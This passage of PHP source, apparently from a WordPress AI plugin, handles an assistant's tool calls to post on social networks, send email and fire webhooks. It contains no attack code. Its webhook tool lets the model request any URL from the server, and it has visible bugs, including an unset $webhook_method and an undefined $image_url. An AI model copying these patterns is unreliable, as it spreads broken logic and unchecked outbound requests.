                                            $caption = $tc['function']['arguments']['caption'];
                                        }
                                        $image_url = $tc['function']['arguments']['image_url'];
                                        if (empty($image_url)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty image_url parameter provided'
                                            ];
                                            continue;
                                        }
                                        $page_to_post = '';
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['facebook_post_select']) && $aiomatic_Chatbot_Settings['facebook_post_select'] != '') {
                                            $page_to_post = $aiomatic_Chatbot_Settings['facebook_post_select'];
                                        }
                                        if (empty($page_to_post)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'No page where to publish the post was selected'
                                            ];
                                            continue;
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $card_type_found = array('required_plugin' => array('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php' => array('F-omatic Automatic Post Generator', 'https://1.envato.market/fbomatic')));
                                        $return_me = aiomatic_post_image_to_facebook($card_type_found, $caption, $image_url, $page_to_post);
                                        if(isset($return_me['error']))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Facebook image posting failed: ' . $return_me['error']
                                            ];
                                            continue;
                                        }
                                        elseif(empty($return_me))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse Facebook image posting results'
                                            ];
                                            continue;
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Facebook image posting successful: ' . json_encode($return_me, true)
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'image_url parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_publish_twitter')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['content']))
                                    {
                                        if(!function_exists('is_plugin_active'))
                                        {
                                            include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                        }
                                        $twitomatic_active = false;
                                        if (is_plugin_active('twitomatic-twitter-post-generator/twitomatic-twitter-post-generator.php')) 
                                        {
                                            $twitomatic_active = true;
                                        }
                                        if(!$twitomatic_active)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Required plugin (Twitomatic) not activated.'
                                            ];
                                            continue;
                                        }
                                        $image_url = '';
                                        if(isset($tc['function']['arguments']['image_url']))
                                        {
                                            $image_url = $tc['function']['arguments']['image_url'];
                                        }
                                        $zcontent = $tc['function']['arguments']['content'];
                                        if (empty($zcontent)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty content parameter provided'
                                            ];
                                            continue;
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $card_type_found = array('required_plugin' => array('twitomatic-twitter-post-generator/twitomatic-twitter-post-generator.php' => array('Twitomatic Automatic Post Generator', 'https://1.envato.market/twitomatic')));
                                        $return_me = aiomatic_post_to_twitter($card_type_found, $zcontent, $image_url);
                                        if(isset($return_me['error']))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Twitter posting failed: ' . $return_me['error']
                                            ];
                                            continue;
                                        }
                                        elseif(empty($return_me))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse Twitter posting results'
                                            ];
                                            continue;
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Twitter posting successful: ' . json_encode($return_me, true)
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'content parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_publish_instagram')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['image_url']))
                                    {
                                        if(!function_exists('is_plugin_active'))
                                        {
                                            include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                        }
                                        $instamatic_active = false;
                                        if (is_plugin_active('instamatic-instagram-post-generator/instamatic-instagram-post-generator.php')) 
                                        {
                                            $instamatic_active = true;
                                        }
                                        if(!$instamatic_active)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Required plugin (Instamatic) not activated.'
                                            ];
                                            continue;
                                        }
                                        $zcontent = '';
                                        if(isset($tc['function']['arguments']['content']))
                                        {
                                            $zcontent = $tc['function']['arguments']['content'];
                                        }
                                        $image_url = $tc['function']['arguments']['image_url'];
                                        if (empty($image_url)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty image_url parameter provided'
                                            ];
                                            continue;
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $card_type_found = array('required_plugin' => array('instamatic-instagram-post-generator/instamatic-instagram-post-generator.php' => array('iMediamatic Automatic Post Generator', 'https://1.envato.market/instamatic')));
                                        $return_me = aiomatic_post_image_to_instagram($card_type_found, $zcontent, $image_url);
                                        if(isset($return_me['error']))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Instagram posting failed: ' . $return_me['error']
                                            ];
                                            continue;
                                        }
                                        elseif(empty($return_me))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse Instagram posting results'
                                            ];
                                            continue;
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Instagram posting successful: ' . json_encode($return_me, true)
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'image_url parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_publish_pinterest')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['image_url']))
                                    {
                                        if(!function_exists('is_plugin_active'))
                                        {
                                            include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                        }
                                        $instamatic_active = false;
                                        if (is_plugin_active('pinterestomatic-pinterest-post-generator/pinterestomatic-pinterest-post-generator.php')) 
                                        {
                                            $instamatic_active = true;
                                        }
                                        if(!$instamatic_active)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Required plugin (Pinterestomatic) not activated.'
                                            ];
                                            continue;
                                        }
                                        $page_to_post = '';
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['pinterest_post_select']) && $aiomatic_Chatbot_Settings['pinterest_post_select'] != '') {
                                            $page_to_post = $aiomatic_Chatbot_Settings['pinterest_post_select'];
                                        }
                                        if (empty($page_to_post)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'No boards where to publish the post was selected'
                                            ];
                                            continue;
                                        }
                                        $description = '';
                                        if(isset($tc['function']['arguments']['description']))
                                        {
                                            $description = $tc['function']['arguments']['description'];
                                        }
                                        $title = '';
                                        if(isset($tc['function']['arguments']['title']))
                                        {
                                            $title = $tc['function']['arguments']['title'];
                                        }
                                        $pin_url = '';
                                        if(isset($tc['function']['arguments']['pin_url']))
                                        {
                                            $pin_url = $tc['function']['arguments']['pin_url'];
                                        }
                                        $image_url = $tc['function']['arguments']['image_url'];
                                        if (empty($image_url)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty image_url parameter provided'
                                            ];
                                            continue;
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $card_type_found = array('required_plugin' => array('pinterestomatic-pinterest-post-generator/pinterestomatic-pinterest-post-generator.php' => array('Pinterestomatic Automatic Post Generator', 'https://1.envato.market/pinterestomatic')));
                                        $return_me = aiomatic_post_image_to_pinterest($card_type_found, $description, $title, $pin_url, $image_url, $page_to_post);
                                        if(isset($return_me['error']))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Pinterest posting failed: ' . $return_me['error']
                                            ];
                                            continue;
                                        }
                                        elseif(empty($return_me))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse Pinterest posting results'
                                            ];
                                            continue;
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Pinterest posting successful: ' . json_encode($return_me, true)
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'image_url parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_publish_google_my_business')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['image_url']) && isset($tc['function']['arguments']['content']))
                                    {
                                        if(!function_exists('is_plugin_active'))
                                        {
                                            include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                        }
                                        $instamatic_active = false;
                                        if (is_plugin_active('businessomatic-google-my-business-post-generator/businessomatic-google-my-business-post-generator.php')) 
                                        {
                                            $instamatic_active = true;
                                        }
                                        if(!$instamatic_active)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Required plugin (Businessomatic) not activated.'
                                            ];
                                            continue;
                                        }
                                        $page_to_post = '';
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['business_post_select']) && $aiomatic_Chatbot_Settings['business_post_select'] != '') {
                                            $page_to_post = $aiomatic_Chatbot_Settings['business_post_select'];
                                        }
                                        if (empty($page_to_post)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'No pages where to publish the post was selected'
                                            ];
                                            continue;
                                        }
                                        $content = $tc['function']['arguments']['content'];
                                        $image_url = $tc['function']['arguments']['image_url'];
                                        if (empty($image_url)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty image_url parameter provided'
                                            ];
                                            continue;
                                        }
                                        if (empty($content)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty content parameter provided'
                                            ];
                                            continue;
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $card_type_found = array('required_plugin' => array('businessomatic-google-my-business-post-generator/businessomatic-google-my-business-post-generator.php' => array('Businessomatic Automatic Post Generator', 'https://1.envato.market/businessomatic')));
                                        $return_me = aiomatic_post_to_gmb($card_type_found, $content, $image_url, $page_to_post);
                                        if(isset($return_me['error']))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'GMB posting failed: ' . $return_me['error']
                                            ];
                                            continue;
                                        }
                                        elseif(empty($return_me))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse GMB posting results'
                                            ];
                                            continue;
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'GMB posting successful: ' . json_encode($return_me, true)
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'image_url or content parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_publish_youtube_community')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['post_type']) && isset($tc['function']['arguments']['content']))
                                    {
                                        if(!function_exists('is_plugin_active'))
                                        {
                                            include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                        }
                                        $instamatic_active = false;
                                        if (is_plugin_active('youtubomatic-youtube-post-generator/youtubomatic-youtube-post-generator.php')) 
                                        {
                                            $instamatic_active = true;
                                        }
                                        if(!$instamatic_active)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Required plugin (Youtubomatic) not activated.'
                                            ];
                                            continue;
                                        }
                                        $content = $tc['function']['arguments']['content'];
                                        if (empty($content)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty content parameter provided'
                                            ];
                                            continue;
                                        }
                                        $post_type = $tc['function']['arguments']['post_type'];
                                        if (empty($post_type)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty post_type parameter provided'
                                            ];
                                            continue;
                                        }
                                        $post_type = trim($post_type);
                                        if($post_type != 'image' && $post_type != 'text')
                                        {
                                            $post_type = 'text';
                                        }
                                        $image_url = '';
                                        if(isset($tc['function']['arguments']['image_url']))
                                        {
                                            $image_url = $tc['function']['arguments']['image_url'];
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        if($image_url != '')
                                        {
                                            $media = array($image_url);
                                        }
                                        else
                                        {
                                            $media = array();
                                        }
                                        $card_type_found = array('required_plugin' => array('youtubomatic-youtube-post-generator/youtubomatic-youtube-post-generator.php' => array('Youtubomatic Automatic Post Generator', 'https://1.envato.market/youtubomatic')));
                                        $return_me = aiomatic_post_to_youtube_community($card_type_found, $content, $post_type, $media);
                                        if(isset($return_me['error']))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'YouTube Community posting failed: ' . $return_me['error']
                                            ];
                                            continue;
                                        }
                                        elseif(empty($return_me))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse YouTube Community posting results'
                                            ];
                                            continue;
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'YouTube Community posting successful: ' . json_encode($return_me, true)
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'post_type or content parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_publish_reddit')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['title']) && isset($tc['function']['arguments']['content']))
                                    {
                                        if(!function_exists('is_plugin_active'))
                                        {
                                            include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                        }
                                        $instamatic_active = false;
                                        if (is_plugin_active('redditomatic-reddit-post-generator/redditomatic-reddit-post-generator.php')) 
                                        {
                                            $instamatic_active = true;
                                        }
                                        if(!$instamatic_active)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Required plugin (Redditomatic) not activated.'
                                            ];
                                            continue;
                                        }
                                        $content = $tc['function']['arguments']['content'];
                                        if (empty($content)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty content parameter provided'
                                            ];
                                            continue;
                                        }
                                        $title = $tc['function']['arguments']['title'];
                                        if (empty($title)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty title parameter provided'
                                            ];
                                            continue;
                                        }
                                        $subreddit_to_post = '';
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['subreddits_list']) && $aiomatic_Chatbot_Settings['subreddits_list'] != '') {
                                            $subreddit_to_post = $aiomatic_Chatbot_Settings['subreddits_list'];
                                        }
                                        if (empty($subreddit_to_post)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'No subreddits were defined where to publish the post'
                                            ];
                                            continue;
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        if($image_url != '')
                                        {
                                            $media = array($image_url);
                                        }
                                        else
                                        {
                                            $media = array();
                                        }
                                        $card_type_found = array('required_plugin' => array('redditomatic-reddit-post-generator/redditomatic-reddit-post-generator.php' => array('Redditomatic Automatic Post Generator', 'https://1.envato.market/redditomatic')));
                                        $return_me = aiomatic_post_to_reddit($card_type_found, $title, $content, 'auto', $subreddit_to_post);
                                        if(isset($return_me['error']))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Reddit posting failed: ' . $return_me['error']
                                            ];
                                            continue;
                                        }
                                        elseif(empty($return_me))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse Reddit posting results'
                                            ];
                                            continue;
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Reddit posting successful: ' . json_encode($return_me, true)
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'title or content parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_publish_linkedin')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['title']) && isset($tc['function']['arguments']['content']))
                                    {
                                        if(!function_exists('is_plugin_active'))
                                        {
                                            include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                        }
                                        $instamatic_active = false;
                                        if (is_plugin_active('linkedinomatic-linkedin-post-generator/linkedinomatic-linkedin-post-generator.php')) 
                                        {
                                            $instamatic_active = true;
                                        }
                                        if(!$instamatic_active)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Required plugin (Linkedinomatic) not activated.'
                                            ];
                                            continue;
                                        }
                                        $content = $tc['function']['arguments']['content'];
                                        if (empty($content)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty content parameter provided'
                                            ];
                                            continue;
                                        }
                                        $title = $tc['function']['arguments']['title'];
                                        if (empty($title)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty title parameter provided'
                                            ];
                                            continue;
                                        }
                                        $description = '';
                                        $post_link = '';
                                        $image_url = '';
                                        if(isset($tc['function']['arguments']['description']))
                                        {
                                            $description = $tc['function']['arguments']['description'];
                                        }
                                        if(isset($tc['function']['arguments']['link']))
                                        {
                                            $post_link = $tc['function']['arguments']['link'];
                                        }
                                        if(isset($tc['function']['arguments']['image_url']))
                                        {
                                            $image_url = $tc['function']['arguments']['image_url'];
                                        }
                                        $selected_pages = '';
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['linkedin_selected_pages']) && $aiomatic_Chatbot_Settings['linkedin_selected_pages'] != '') {
                                            $selected_pages = $aiomatic_Chatbot_Settings['linkedin_selected_pages'];
                                        }
                                        if (empty($selected_pages)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'No pages selected where to post to LinkedIn'
                                            ];
                                            continue;
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $card_type_found = array('required_plugin' => array('linkedinomatic-linkedin-post-generator/linkedinomatic-linkedin-post-generator.php' => array('Linkedinomatic Automatic Post Generator', 'https://1.envato.market/linkedinomatic')));
                                        $return_me = aiomatic_post_to_linkedin($card_type_found, $content, $image_url, $title, $post_link, $description, '1', $selected_pages);
                                        if(isset($return_me['error']))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'LinkedIn posting failed: ' . $return_me['error']
                                            ];
                                            continue;
                                        }
                                        elseif(empty($return_me))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse LinkedIn posting results'
                                            ];
                                            continue;
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'LinkedIn posting successful: ' . json_encode($return_me, true)
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'title or content parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_send_email')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['subject']) && isset($tc['function']['arguments']['content']) && isset($tc['function']['arguments']['recipient_email']))
                                    {
                                        $subject = $tc['function']['arguments']['subject'];
                                        $content = $tc['function']['arguments']['content'];
                                        $recipient_email = $tc['function']['arguments']['recipient_email'];
                                        if (empty($subject) || empty($content) || empty($recipient_email)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty subject, content or recipient_email parameter provided'
                                            ];
                                            continue;
                                        }
                                        $headers[] = 'From: AIomatic Plugin Chatbot <aiomatic@noreply.net>';
                                        $headers[] = 'Reply-To: noreply@aiomatic.com';
                                        $headers[] = 'X-Mailer: PHP/' . phpversion();
                                        $headers[] = 'Content-Type: text/html';
                                        $headers[] = 'Charset: ' . get_option('blog_charset', 'UTF-8');
                                        $sent = wp_mail($recipient_email, $subject, $content, $headers);
                                        if($sent === false)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to send email to address: ' . $recipient_email
                                            ];
                                            continue;
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'OK'
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'subject, content or recipient_email parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_webhook')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['webhook_url']) && isset($tc['function']['arguments']['method_selector']))
                                    {
                                        $webhook_url = $tc['function']['arguments']['webhook_url'];
                                        $method_selector = $tc['function']['arguments']['method_selector'];
                                        if (empty($webhook_url) || empty($method_selector)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty webhook_url or method_selector parameter provided'
                                            ];
                                            continue;
                                        }
                                        $content_type = '';
                                        if(isset($tc['function']['arguments']['content_type']))
                                        {
                                            $content_type = $tc['function']['arguments']['content_type'];
                                        }
                                        $post_template = '';
                                        if(isset($tc['function']['arguments']['data']))
                                        {
                                            $post_template = $tc['function']['arguments']['data'];
                                        }
                                        $headers_template = '';
                                        if(isset($tc['function']['arguments']['headers']))
                                        {
                                            $headers_template = $tc['function']['arguments']['headers'];
                                        }
                                        
                                        $urlParsed = parse_url( $webhook_url, PHP_URL_HOST );
                                        if ( filter_var( $webhook_url, FILTER_VALIDATE_URL ) === FALSE || empty( $urlParsed ) )
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Invalid webhook_url entered ' . $webhook_url
                                            ];
                                            continue;
                                        }
                                        else if ( $content_type == 'JSON' && empty( json_decode( $post_template, TRUE ) ) )
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'The JSON data must be valid ' . $webhook_url
                                            ];
                                            continue;
                                        }
                                        $headers = [];
                                        if(!empty($headers_template))
                                        {
                                            $headers_template_arr = preg_split('/\r\n|\r|\n/', trim($headers_template));
                                            foreach($headers_template_arr as $arr_fr)
                                            {
                                                if(!empty(trim($arr_fr)) && strstr($arr_fr, '=>'))
                                                {
                                                    $small_arr = explode('=>', $arr_fr);
                                                    $headers[] = trim($small_arr[0]) . ':' . trim($small_arr[1]);
                                                }
                                            }
                                        }
                                        $content_params = [];
                                        if(!empty($post_template))
                                        {
                                            $post_template_arr = preg_split('/\r\n|\r|\n/', trim($post_template));
                                            foreach($post_template_arr as $arr_fr)
                                            {
                                                if(!empty(trim($arr_fr)) && strstr($arr_fr, '=>'))
                                                {
                                                    $small_arr = explode('=>', $arr_fr);
                                                    $content_params[trim($small_arr[0])] = trim($small_arr[1]);
                                                }
                                            }
                                        }
                                        $ch = curl_init();
                                        if ($ch === false) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to init curl in webhook execution'
                                            ];
                                            continue;
                                        }
                                        if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') {
                                            $prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
                                            $randomness = array_rand($prx);
                                            curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness]));
                                            if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
                                            {
                                                $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
                                                if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
                                                {
                                                    curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness]));
                                                }
                                            }
                                        }
                                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                                        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
                                        if ($webhook_method == 'POST' || $webhook_method == 'PUT' || $webhook_method == 'DELETE') 
                                        {
                                            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $webhook_method);
                                            if (!empty($content_params) && $content_type == 'form_data') {
                                                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($content_params));
                                            } elseif (!empty($post_template) && $content_type == 'JSON') {
                                                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_template));
                                                $headers[] = 'Content-Type: application/json';
                                                curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
                                            }
                                        }
                                        else
                                        {
                                            $query_string = http_build_query($content_params);
                                            $webhook_url = $webhook_url . (strpos($webhook_url, '?') === false ? '?' : '&') . $query_string;
                                        }
                                        curl_setopt($ch, CURLOPT_URL, $webhook_url);
            
                                        $response = curl_exec($ch);
                                        if($response === false)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to send webhook request to ' . $webhook_url
                                            ];
                                            continue;
                                        }
                                        $err = curl_error($ch);
                                        $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                                        curl_close($ch);
                                        if ($err) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
